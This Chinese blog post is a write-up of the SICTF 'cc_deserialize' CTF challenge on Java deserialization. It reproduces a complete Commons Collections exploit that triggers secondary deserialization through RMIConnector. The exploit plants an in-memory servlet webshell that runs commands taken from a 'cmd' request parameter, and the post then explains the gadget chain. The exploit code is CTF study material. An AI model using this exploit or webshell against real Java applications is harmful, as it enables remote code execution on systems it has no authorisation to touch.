java反序列化例题分析

sictf cc_deserialize

刚看名字狂喜,cc链刚学完,这不是简简单单,看完题目自闭,和cc链有关系,但不多,悲!

考点:

1. 基于cc链上的研究
2. rmi二次反序列化
3. java不出网
2. javassist缩短payload

思路:

因为我是赛后复现,也没环境,这里就直接分析wp了。

package com.n1ght_cc_deserialize;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;

/**
 * Hello world!
 *
 */
public class CCDeserializeExp {

    public static void main(String[] args) throws Exception {
        JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:iiop:///stub/" + CC3Exp());
        RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, new HashMap<String, String>());
        ConstantTransformer constantTransformer = new ConstantTransformer(rmiConnector);
        InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);
        HashMap<String, String> map = new HashMap<>();
        map.put("value", "value");
        TransformedMap decorate1 = (TransformedMap) TransformedMap.decorate(map, null, invokerTransformer);
        TransformedMap decorate = (TransformedMap) TransformedMap.decorate(decorate1, null, constantTransformer);
        Class<?> name = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> declaredConstructor = name.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        Object o = declaredConstructor.newInstance(Target.class, decorate);
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        new ObjectOutputStream(bao).writeObject(o);
        System.out.println(URLEncoder.encode(Base64.encode(bao.toByteArray()).replaceAll("\\s*", "")));
    }
    public static String CC3Exp() throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aaaa");
        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = payload();
        byte[][] codes = {code};
        bytecodesField.set(templates, codes);
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
        HashMap<Object, Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry, "bbb");
        lazyMap.remove("aaa");
        Class<LazyMap> c = LazyMap.class;
        Field factoryField = c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap, chainedTransformer);
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        new ObjectOutputStream(bao).writeObject(map2);
        return Base64.encode(bao.toByteArray()).replaceAll("\\s*", "");
    }
    public static byte[] payload() throws NotFoundException, CannotCompileException, IOException {
        String s="public MyClassLoader(){             javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();\n" +
                "            java.lang.reflect.Field r=request.getClass().getDeclaredField(\"request\");\n" +
                "            r.setAccessible(true);" +
                "            org.apache.catalina.connector.Response response =((org.apache.catalina.connector.Request) r.get(request)).getResponse();\n"+
                "            String s =new Scanner(Runtime.getRuntime().exec(request.getParameter(\"cmd\")).getInputStream()).next();" +
                "            response.setHeader(\"night\", s);}";
        ClassPool classPool = ClassPool.getDefault();
        classPool.importPackage(Scanner.class.getName());
        CtClass ctClass = classPool.get(AbstractTranslet.class.getName());


        CtClass calc = classPool.makeClass("MyClassLoader");
        calc.setSuperclass(ctClass);
        CtConstructor ctConstructor = CtNewConstructor.make(s, calc);
        calc.addConstructor(ctConstructor);

        return calc.toBytecode();
    }
}

主函数main中,用了cc1的链子,最终目的是调用RMIConnector.connect,实现RMI二次反序列化,也就是将一个普通的反序列化点转为一个RMI反序列化点。

  1. JMXServiceURL 是用于描述 JMX 服务的 URL 地址的类。通过创建一个 JMXServiceURL 对象,你可以指定连接到哪个 JMX Agent 上。
  2. RMIConnector 是通过 RMI 协议连接到远程 JMX Agent 的类。它接受一个 JMXServiceURL 对象和一组选项(这里用 HashMap 表示)作为参数,在这里实现了创建一个通过 RMI 协议连接到指定 JMX Agent 的连接器。

通过这段代码,实现了通过 RMI 协议连接到指定 JMX Agent 的功能,这样就可以通过 RMI 远程访问和管理 JMX 提供的管理接口,实现远程监控和管理 Java 应用程序的功能。

cc3()就是用了动态类加载来执行恶意类静态代码块中指令的链子

payload()就是构造了一个恶意类,恶意类的静态代码块中采用的是servlet的内存马(好像是防止exp长度超过8000)。

难点:

RMI二次反序列化,我也是第一次见,自己都还学不明白,就放个链接,链接中的题还用到了jdbc任意文件读取,又是新知识,猛猛学。

从一道题认识jdbc任意读文件和RMIConnector触发二次反序列化 — 2022强网拟态NoRCE

https://github.com/Y4tacker/JavaSec/blob/main/%E5%85%B6%E4%BB%96/Java%E4%BA%8C%E6%AC%A1%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/Java%E8%A7%A6%E5%8F%91%E4%BA%8C%E6%AC%A1%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%9A%84%E7%82%B9.mdo

ok小学了一下学懂了,和我想的RMI二次反序列化不同,我想的是把一个普通的反序列化点转换成RMI反序列化点(开启RMI服务或监听这样子 ),然后打RMI反序列化的链子,实际上是在一个普通的反序列化点中进行反序列化,反序列化的过程中又调用了一次反序列化,通过这个反序列化直接 rce。下面理一下链子。

RMIConnector.connect()

RMIConnector.findRMIServer()

RMIConnector.findRMIServerJRMP()
然后就是进行序列化和反序列化

 在RMIConnector.findRMIServer()支持jndi,stub,ior这三个服务,理论上三者应该都能打。

 RMIConnector.findRMIServerJRMP()中会序列化base64编码的内容,这个内容我们可控,然后进行反序列化,触发rce。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值